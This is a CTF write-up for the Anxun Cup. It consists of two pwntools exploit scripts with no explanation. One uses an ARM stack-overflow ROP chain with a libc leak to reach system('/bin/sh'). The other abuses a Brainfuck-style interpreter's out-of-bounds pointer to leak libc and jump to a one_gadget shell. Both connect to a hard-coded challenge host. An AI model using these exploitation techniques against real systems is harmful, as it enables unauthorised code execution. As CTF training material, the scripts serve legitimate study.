安洵杯WP

from pwn import *

#io = process("./chall")
io = remote("47.108.29.107",10392)
elf = ELF("./chall")
libc = ELF("./libc-2.27.so")

def input_pass():
    io.sendlineafter("msg> ","s1mpl3Dec0d4r")

def overflow(payload):
    io.sendlineafter("comment> ",payload)

read_got = elf.got["read"]
puts_plt = elf.plt["puts"]
#main_addr = elf.symbols["__libc_start_main"]
main_addr = 0x1050C
pop_r3_pc = 0x10464
pop_r4_r5_r6_r7 = 0x10cb0
mov_r0_r7 = 0x10ca0

input_pass()

payload = b'a'*(0x2c) + p32(pop_r4_r5_r6_r7) + p32(0xdeadbeef)*3 + p32(read_got) + p32(0xdeadbeef)*3 + p32(pop_r3_pc) + p32(puts_plt) + p32(mov_r0_r7) + p32(main_addr)*0x10

overflow(payload)

libc_base = u32(io.recv()[0:4])
libc_base = libc_base - libc.symbols["read"]
success("libc base is leaked ==> " + hex(libc_base))

sys_addr = libc_base + libc.symbols["system"]
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh\x00'))

payload = b'a'*(0x2c) + p32(pop_r4_r5_r6_r7) + p32(0xdeadbeef)*3 + p32(bin_sh_addr) + p32(0xdeadbeef)*3 + p32(pop_r3_pc) + p32(sys_addr) + p32(mov_r0_r7) + p32(main_addr)*0x10

input_pass()
overflow(payload)

io.interactive()

from pwn import *
#io = process("./chall")
io = remote("47.108.29.107",10392)

elf = ELF("./chall")
libc = ELF("./libc-2.27.so")

context.arch = "amd64"
context.log_level = "debug"

def length(leng):
    io.sendafter("len> ",str(leng))

def code(co):
    io.sendafter("code> ",co)

add = 0x3e # >
minus = 0x3c # <
ptr_add = 0x2b # +
ptr_minuns = 0x2d # -
putchar = 0x2e # .
getchar = 0x2c # ,
nop = 0x0

payload = p8(add)*0x58 + p8(putchar) + (p8(add) + p8(putchar))*7
length(len(payload))
code(payload)
libc_base = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00')) - 231 - libc.symbols["__libc_start_main"]

success("libc base is leaked ==>" + hex(libc_base))

#ogg = libc_base + 0x4f2a5
ogg = libc_base + 0x4f302

payload=p8(add)*0x38 + p8(getchar) + (p8(add) + p8(getchar))*7 + p8(nop)

gdb.attach(io)
pause()

length(len(payload))
code(payload)

io.send(p64(ogg))

io.interactive()